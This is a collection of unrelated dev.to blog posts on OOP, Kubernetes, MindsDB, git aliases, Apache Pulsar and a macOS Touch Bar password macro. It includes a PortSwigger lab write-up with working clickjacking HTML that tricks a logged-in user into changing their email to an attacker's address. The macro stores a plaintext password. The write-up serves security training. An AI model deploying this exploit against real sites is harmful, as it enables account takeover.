teleren/devto huggingface dataset:
Get down with OPP ... I mean OOP!
Published: 2022-10-22 19:23:05



![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3urvj0havqbc9v5zmibd.jpeg)

Object Orient Programming is a programming paradigm based on the concept of objects.It is how we write and organize code. We use objects to pack data and corresponding behavior into one block.Examples include a user ,to do list items, or even something more abstract like a data structure. This makes it easy to work on the data. OOP are blocks of code. They are like small applications on their own. We use them to make objects interact with one another. These interactions happen through a public interface(API). The interface is basically a bunch of methods the code outside the object can access. We use it to communicate with the object. OOP exists with the goal of organizing code. It is used to make code more flexible and easy to maintain. Spaghetti code is something that programmers had to deal with before OOP. Spaghetti code is very sloppy code. OOP was the solution. Today OOP is the most popular and widely used paradigm in software engineering.There are other paradigms like OOP, and that is functional programming ,but i will get into that in another blog. In OOP we need a way to create new objects from our code. To do this we use classes. Classes are like blueprints that can be used to create new objects. Classes are basically an abstract plan. They are just a set of rules to create new objects. For example , a user for a computer login might need a password and email info, The class will also contain the login logic! Like this 
class User
{
user
password
email
login(password){
}
sendMessage(str)
{
}
Now with this generic class we can use it with tons of different peoples login information!!Now with all the objects we create through this class with specific user information ,they will be called instances of the class. The class itself is not an object...An instance is like the actual version of the blueprint. The instances may have different data but they all share the same functionality. 
There are 4 useful principles to create classes that are very important!
They are Abstraction, Encapsulation, Inheritance, and Polymorphism.
Abstraction-Ignoring or hiding details that don't matter.
Encapsulation -Keeping properties and methods private inside the class, so they are not accessible from outside the class. 
Inheritance- Making all properties and methods of a certain class available to a child class.
Polymorphism- A child class can overwrite a method it inherited from a parent class.
This was a basic overview of quite a complex subject. There is much more to dive into, but this will provide a general idea of what OOP is about and how to learn more about it. I will cover these 4 principles in more detail in later blog posts!
Marketing Digital para empresas em 2023
Published: 2022-10-22 21:21:00

Todos nós sabemos que hoje em dia é fundamental que as empresas estejam preparadas e adequadas com estratégias de Marketing Digital. Para isso ocorrer é fundamental que contrate uma [Agência de Marketing Digital](https://insidedigital.com.br/) com foco em canais como:

SEO  - Search Engine Optimization -  Estratégia focada em conseguir boas posições orgânicas para o seu site

Sabia como colocar seu site nas primeiras posições do Google
Portswigger’s lab write up: Clickjacking with form input data prefilled from a URL parameter
Tags: webdev, portswigger, clickjacking, writeup
Published: 2022-10-22 21:13:39

In this apprentice level lab, we will exploit the change email flow from a website vulnerable to clickjacking due to form filling via url parameters.

* * * * *

Upon logging in with the given credentials, we notice that after going to the acount page, all that is needed to change a user's email is click on the `Update Email` button and that the `email` input can be prefilled by adding it via url parameters. Let's use the writing material's clickjacking template to craft our exploit:

```
<head>
	<style>
		iframe {
			 position:relative;
			 width:700px;
			 height:600px;
			 opacity:0.1;
			 z-index:2;
			}
		div {
			 position:absolute;
			 z-index:1;
			}
	</style>
</head>
<body>
	<div>
		CLICK HERE
	</div>
	<iframe src="${LAB_ACCOUNT_ROUTE_URL}?email=attacker@email.com">
	</iframe>
</body>

```

This is how the template looks on our exploit server:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1tsgmvtnf6fa3lwo1pis.png)

We need to modify the location of the `CLICK ME` div tag so that it is on top of the `Update Email` button on the vulnerable website. Note that we are setting the iframe's opacity to `0.1` to be able to check the exploit appearance and then modifying the div's top and left CSS properties so that when a logged in user clicks on the `CLICK ME` div on our website, they are actually clicking on the vulnerable website's button to update their email to whatever we previously set in the URL parameters. After setting the top property to 450px and the left property to 50px, it looks like the buttons are aligned to perform a successful attack. At this point, our exploit looks like this:

```
<head>
	<style>
		iframe {
			 position:relative;
			 width:700px;
			 height:600px;
			 opacity:0.1;
			 z-index:2;
			}
		div {
			 position:absolute;
			 z-index:1;
			 top:450px;
			 left:50px;
			}
	</style>
</head>
<body>
	<div>
		CLICK HERE
	</div>
	<iframe src="${LAB_ACCOUNT_ROUTE_URL}?email=attacker@email.com">
	</iframe>
</body>

```

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wms4rnp77vzn7sygkm7q.png)

All we need to do is set the iframe's opacity to 0.00001 or something similar so that it is almost invisible and send the exploit to our victim.

Check out this write up on the Art Of Code: https://artofcode.tech/portswigger-lab-write-up-clickjacking-with-form-input-data-prefilled-from-a-url-parameter/

Github: https://github.com/christianpaez/portswigger/tree/main/labs/apprentice/clickjacking/clickjacking-with-form-input-data-prefilled-from-a-url-parameter
Kubernete Quick Start — part 1
Tags: kubernetes, k8s, devops, cloud
Published: 2022-10-22 21:03:48

Hands-on
After the last article I talked about kubernetes involving concepts.

This article presents two views encompassing theory and practice.

Discover the Kubernetes 👇

👉 [CLICK HERE](https://medium.com/@paulolopesestevo/kubernete-quick-start-part-1-91ed3da62b25)
First project is done!
Tags: webdev, css, beginners, github
Published: 2022-10-22 20:20:38

**Hello!**

Here is my first done project from Fronted Mentor. It was really a fun but hard to finish this a simple project for beginners. I am actually learning CSS. I wanna improve my knowledge of CSS

A page to see -> [Link](https://chaykov-04.netlify.app/)
A code on github -> [Link](https://github.com/chaykov/previewCard)

It would be great to know any opinions for code if there is something need to change or improve. All suggestions would be great, thanks.

Have a good night! :)
Realtime Sync with Phoenix (Elixir)
Published: 2022-10-22 20:14:45

Our fav product dev Theo uses Pusher and some other websocket tools for his app [Ping.gg](https://ping.gg/)
{% embed https://twitter.com/t3dotgg/status/1517685787671683072?s=20&t=AJWi0GH0uZazgWBEQHC-oQ %}

Our fav maple leaf is using Liveblocks and Convex, among other things

{% embed https://twitter.com/heyImMapleLeaf/status/1583554881687736321?s=20&t=AJWi0GH0uZazgWBEQHC-oQ %}

Investigating realtime sync app state and stumbled upon this tweet.
{% embed https://twitter.com/thomasreggi/status/1580575138256281601?s=20&t=AJWi0GH0uZazgWBEQHC-oQ %}

So I looked into LiveView and it is built on Elixir lang's Phoenix web framework. That reminded me of this [interview - Ockam with Mrinal Wadhwa](https://rustacean-station.org/episode/mrinal-wadhwa/) with the Ockham boss who talks, specifically at @26:15 why they are using Elixir and the concerns around it compared to alternate solutions. This leads me to the conclusion that Phoenix built on Elixir is the framework to use for messaging or live syncing app state. 


---

## Video Live Streaming - a separate but not completely orthogonal (unrelated) subject

This video, which is part of a great series of Tech Bytes, discusses a similar subject of video live streaming.
TLDR; Whether you are capturing video from a camera or serving it from object storage, the process of streaming in chunks over the wire will be the same. It's similar to serving MD(X) from fs vs data from a remote API or CMS. Logic from the extraction step forward remains unchanged.

{% embed https://www.youtube.com/watch?v=7AMRfNKwuYo %}

## Web3 Version - LivePeer
{% embed https://twitter.com/bronifty/status/1582380598114426882?s=20&t=AJWi0GH0uZazgWBEQHC-oQ %}
[LivePeer](https://livepeer.studio/)
Quickstart to MindsDB
Tags: machinelearning, tutorial, datascience, database
Published: 2022-10-22 19:54:53

## Introduction to MindsDB

MindsDB, brings machine learning capabilities to traditional databases. It acts as an AI layer on top of the existing tables and enables to train models and predict outcomes easily and instantly with the help of simple SQL statements.

MindsDB connects with the most popular DB Clients, BI Tools, Data Sources making it really easy for clients to use. You can use MindsDB locally (Docker, pip) or use MindsDB Cloud which provides a 30-day free trial.


![Integrations with MindsDB](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c5kf9pwapxhuiw1m9qgs.png)

As you can see MindsDB integrates with a lot of tools & DBs, there are still more that I couldn't fit in the image

If you want to check out their official website for the connections they support, [Click here] (https://mindsdb.com/integrations)

## MindsDB Cloud Account

Now, let's create a MindsDB Cloud Account

Go to [https://cloud.mindsdb.com/](https://cloud.mindsdb.com/) and enter your details and voila! You have a MindsDB Cloud Account, Now you can train ML Models, Predict a lot of things!

The Editor is where you write your SQL Queries

The Add Data Tab allows you to add data from a lot of popular data sources, and you can import your own by websites like [Kaggle](https://www.kaggle.com/datasets)

## Conclusion

MindsDB is an Open-source AI Layer for traditional databases (MySQL, PostgreSQL, MariaDB, etc...)

Lastly, before you leave, don't forget to key in your feedback in the Comments section below and show some love by dropping a `LIKE` on this article.
How face recognition works?
Tags: computerscience, interview, beginners
Published: 2022-10-22 19:31:27

### I was asked this question in my last interview and here is a short and crisp answer of this.

A face recognition is a _biometric solution_ which recognizes human face without physical contact required.

It runs through an algorithm that matches facial nodes to images saved in database.

It first recognizes unique features like nose, eyes, Iris, nose width and length, lips, cheeks, eye brows, jaws etc.

We extract these features from image than compare in database


**Its accuracy is 99.31%**

![Face recognition](https://miro.medium.com/max/550/0*S8BzIAwjXc0XT-hR.png)

**The accuracy sometimes decreases because of**
- Lights
- Face positions
- Makeup
- Hair style
- Accessories

## Application of face recognition

- Criminal Identification
- Surveillance
- Police authorities
- Tracking attendance
- Defense services
- Online payment services

Thanks for reading <3
I developed NEOGRAD - A deep learning framework created from scratch with Python and NumPy
Tags: python, deeplearning, machinelearning, ai
Published: 2022-10-22 19:27:51

Hey everyone! I’m Pranav, a junior studying CSE at BMSCE, Bengaluru, India.

- I developed neograd, a deep learning framework created from scratch using Python and NumPy with PyTorch like API
- It has autograd (automatic differentiation), which supports scalars, vectors and matrices and calculates all their gradients for you automatically during the backward pass. It is also fully NumPy broadcasting compatible.
- Layers like Linear, 2D, 3D Convolutions and MaxPooling, activations like ReLU, Sigmoid, Softmax, Tanh layers all built from the ground up.
- It can also save and load models, parameters to and from disk.
- Many popular optimization algorithms like Adam, RMSProp, Momentum are included

I initially built this to understand how automatic differentiation works under the hood in PyTorch, but later on extended it to a complete framework. This was developed as an educational tool in order for beginners to understand how things work under the hood in giant frameworks like PyTorch, with code that is intuitive and easily readable. I just released v0.0.3 today.
I’m looking for feedback on what more features I can add and what can be improved.

Please checkout the github repo at https://github.com/pranftw/neograd

Colab Notebooks to get started
https://colab.research.google.com/drive/1D4JgBwKgnNQ8Q5DpninB6rdFUidRbjwM?usp=sharing
https://colab.research.google.com/drive/184916aB5alIyM_xCa0qWnZAL35fDa43L?usp=sharing
Thanks!

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d1rjd6tbgt6mf018lel6.gif)
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9haezqjy3dar8hex6e4w.png)
🕵️‍♂️ Learn git alias and boost your productivity
Tags: git, tutorial, codenewbie, productivity
Published: 2022-10-22 18:32:58

### Setting up an Alias

Repeating the same git commands over and over again can be such a waste of time! And some of the most powerful ones are usually quite long and impossible to memorize.

That’s why aliases have been introduced!

Setting up an alias is really simple, just open up a terminal and type

```sh
git config --global alias.[commandName] [long command]
```

For example: `git config --global alias.st 'status'`

In this case, if I call `git st`, it will give me the result of `git status`.


![git st output](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5xmh2f10tcrm4fycot41.png)



Ok, this was easy, but what about long commands such as this one?

```sh
log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit

```

You don’t want to write it every single time, right?

Just run this:

```sh
git config —global alias.lg "log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit"

```

And you never have to remember this long command again!

Look at how cool and colorful this log is, by just using `git lg`:


![git lg output](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bhrd1dx53luomk6cdevw.png)


### Understanding Aliases

If with these two examples you agree with me that aliases are cool, let me give you some more information you should have, in order to use aliases mindfully. Later on, I’ll also share with you a list of other smart aliases you might find useful.

**You can find everything in the video down below, where I also show:**
- How to easily edit aliases without setting them from terminal
- How to use the bang operator `!` (aka exclamation mark)
- How this this weird syntax is useful: `"!f(){ [some commands here] }; f"`
- A list of cool aliases to set up for you

### See aliases in action

You can watch the video on [YouTube](https://youtu.be/Uk4GnYoQx_I), or directly here from the embedded player:

{% embed https://youtu.be/Uk4GnYoQx_I %}

---

**If you have some cool aliases to share, feel free to drop them here in a comment, thank you!**

---

Thanks for reading this post, I hope you found it interesting!

Do you like my content? You might consider subscribing to my YouTube channel!
You can find it here:
[![YouTube](https://img.shields.io/badge/YouTube:%20Dev%20Leonardo-FF0000?style=for-the-badge&logo=youtube&logoColor=white)](https://www.youtube.com/channel/UC-KqnO3ez7vF-kyIQ_22rdA?sub_confirmation=1)

Feel free to follow me to get notified when new articles are out ;)
{% embed https://dev.to/balastrong %}
Hardcore Hammers Hickory Stick Thumper
Published: 2022-10-22 18:27:27

NEVER WORRY ABOUT LOW TIRE PRESSURE AGAIN. Don’t put yourself in a precarious position. Attain peace of mind by quickly checking your tire pressure. A swift *thump* will let you know whether you need to refill. HANDHELD EMPOWERMENT, CONFIDENCE, AND SECURITY. Never feel vulnerable again when traveling alone, in the dark, or in some new area. Whether you’re worried about people or zombies, be ready to protect and stand your ground. DON’T LET THAT FISH GET AWAY! You’ve spent time and energy hauling in that future trophy. Knock the flop out and ensure your catch. The kung fu grip and lanyard…


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vjw92vp8jvp3iqhlsci1.jpg)

## [Review 1](https://revain.org/reviews/hardcore-hammers-hickory-stick-thumper-b0853f735g)
Solid walnut striker. Would have liked a little more grip, but that's easily remedied with some racquet grip tape. There were no burglary problems.

## Review 2
Good weight and balance with handy dummy cord to keep it from falling. Works well for hitting hoops, probably good for hitting heads if need be.

## Review 3
This is a great product. I like the leather strap that allows the stick/baton to hang from the wrist and frees the hand. Nice solid weight for this product.

## Review 4
This is a great tire punch tool that I keep in my trailer for a quick tire check. Made from hard hickory wood that will last a while and is better than using a random hammer.
Episode 54: October 22, 2022: Real-Time & KubeCon
Tags: apachepulsar
Published: 2022-10-22 18:05:11

[](https://www.linkedin.com/pulse/kubecon-real-time-more-tim-spann-/)

#ApachePulsar #ApacheFlink #Spring #DeltaLake #CDC  #SQL  
#OpenSource #ApacheBookeeper #ApacheCon  #Containers

PIP-156 is coming soon and that brings us full JDK 1.17 speed and a nice upgrade. This will be in Apache Pulsar 2.11 which will be here before you know it.

The first Podcast is out! Please subscribe to your favorite podcast channel. Matt Yonkovit




TALKS






NYC Friends join me on November 3rd with Aerospike.

CODE + COMMUNITY
Join my meetup group NJ/NYC/Philly/Virtual:

This is Issue #54!!


ARTICLES





EVENTS
Oct 24, 2022: DoK Days NA. https://dok.community/dok-day-north-america-2022/
Oct 27-8, 2022: KubeCon: Detroit
Nov 1, 2022: HTAP Summit

Nov 2, 2022: AI Dev World

Nov 3, 2022: Real-Time Data Event NYC

Nov 10, 2022 at 1:30PM EST: AllDayDevops. Virtual.


Nov 15, 2022. OSA Con. Virtual.


Nov 16-18, 2022. PASS Data Community Conference. Virtual.

Nov 19-20, 2022. Pulsar Summit Asia. Virtual.
Nov 23, 2022: Big Data EU. Virtual.

No alt text provided for this image

Nov 29, 2022: Machine Intelligence Guild Speaker of the Month. Virtual.
Dec 6-8, 2022: Spring One: San Francisco
Dec 7, 2022: 3:00 pm

Dec 7, 2022: 4:00 pm


December: LakeFS Meetup: San Francisco






VIDEOS






TOOLS






JOBS
This seems like an awesome job!



The Apache Pulsar Project Management Committee (PMC) has invited Haiting Jiang
(https://github.com/Jason918) as a member of the PMC.
22-October-2022: Episode 54: Real-Time & KubeCon
Published: 2022-11-07 13:58:14

---
title: 22-October-2022:   Episode 54:   Real-Time & KubeCon
published: true
date: 2022-10-22 18:05:00 UTC
tags: 
canonical_url: 
---

[https://www.linkedin.com/pulse/kubecon-real-time-more-tim-spann-/](https://www.linkedin.com/pulse/kubecon-real-time-more-tim-spann-/) #ApachePulsar #ApacheFlink #Spring #DeltaLake #CDC #SQL #OpenSource #ApacheBookeeper #ApacheCon #Containers PIP-156 is coming soon and that brings us full JDK 1.17 speed and a nice upgrade. This will be in Apache Pulsar 2.11 which will be here before you know it. The first Podcast is out! Please subscribe to your favorite podcast channel. Matt Yonkovit TALKS NYC Friends join me on November 3rd with Aerospike. CODE + COMMUNITY Join my meetup group NJ/NYC/Philly/Virtual: This is Issue #54!! ARTICLES EVENTS Oct 24, 2022: DoK Days NA. https://dok.community/dok-day-north-america-2022/ Oct 27-8, 2022: KubeCon: Detroit Nov 1, 2022: HTAP Summit Nov 2, 2022: AI Dev World Nov 3, 2022: Real-Time Data Event NYC Nov 10, 2022 at 1:30PM EST: AllDayDevops. Virtual. Nov 15, 2022. OSA Con. Virtual. Nov 16-18, 2022. PASS Data Community Conference. Virtual. Nov 19-20, 2022. Pulsar Summit Asia. Virtual. Nov 23, 2022: Big Data EU. Virtual. No alt text provided for this image Nov 29, 2022: Machine Intelligence Guild Speaker of the Month. Virtual. Dec 6-8, 2022: Spring One: San Francisco Dec 7, 2022: 3:00 pm Dec 7, 2022: 4:00 pm December: LakeFS Meetup: San Francisco VIDEOS TOOLS JOBS This seems like an awesome job! The Apache Pulsar Project Management Committee (PMC) has invited Haiting Jiang (https://github.com/Jason918) as a member of the PMC.
Create secure Touchbar-Quickaction
Tags: macos
Published: 2022-10-22 18:03:38

I wanted to create a Touchbar-Button that automatically pastes a password to the current cursor position. That button should be secured by Touch-Id.

## Save Password at a secure location

The password should be stored at a secure location (e.g. in the Home-Directory of the Root-User). 
```
sudo vim /var/root/masterpw
```
(You need the file path in the Automator-Script below)

I also consider storing the password on a YubiKey. But that is worth another blog post.


## Create Quick Action in Automator

[Automator](https://support.apple.com/guide/automator/welcome/mac) is a default application of MacOS with that you can configure  scripts for repetitive tasks.

Create and save a new Quick Action that runs the following AppleScript: 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/unxs1hdxqs6dlssugi8v.png)

```
on run {input, parameters}
	do shell script "sudo cat /var/root/masterpw"
    tell application "System Events" to keystroke result
    return input
end run
```

## Configure Touch-ID to be used with sudo

Per default `sudo`-commands require the `root`-password and can not be authorised with Touch-ID.

That can be changed by adding the following line of code to the sudo-File:

`sudo vim /etc/pam.d/sudo`:
```
auth       sufficient     pam_tid.so
``` 

## Add "Quick Actions" to Control Strip

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/67akyz1a23s6udodptja.png)

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w4tr5fhz5od8zb7i4l4q.png)

## Done!

Now you can paste the password into every application. Just Klick on the "Quick Actions"-Button on the Touchbar, then on "Master PW" and confirm via TouchId Fingerprint.

## Security advice

Due to SSO and LDAP login at work for many services using the same password is wanted in my situation. I want to highlight that it is best practice to use a Password Manager and try to avoid sharing the same password across multiple services as much as possible.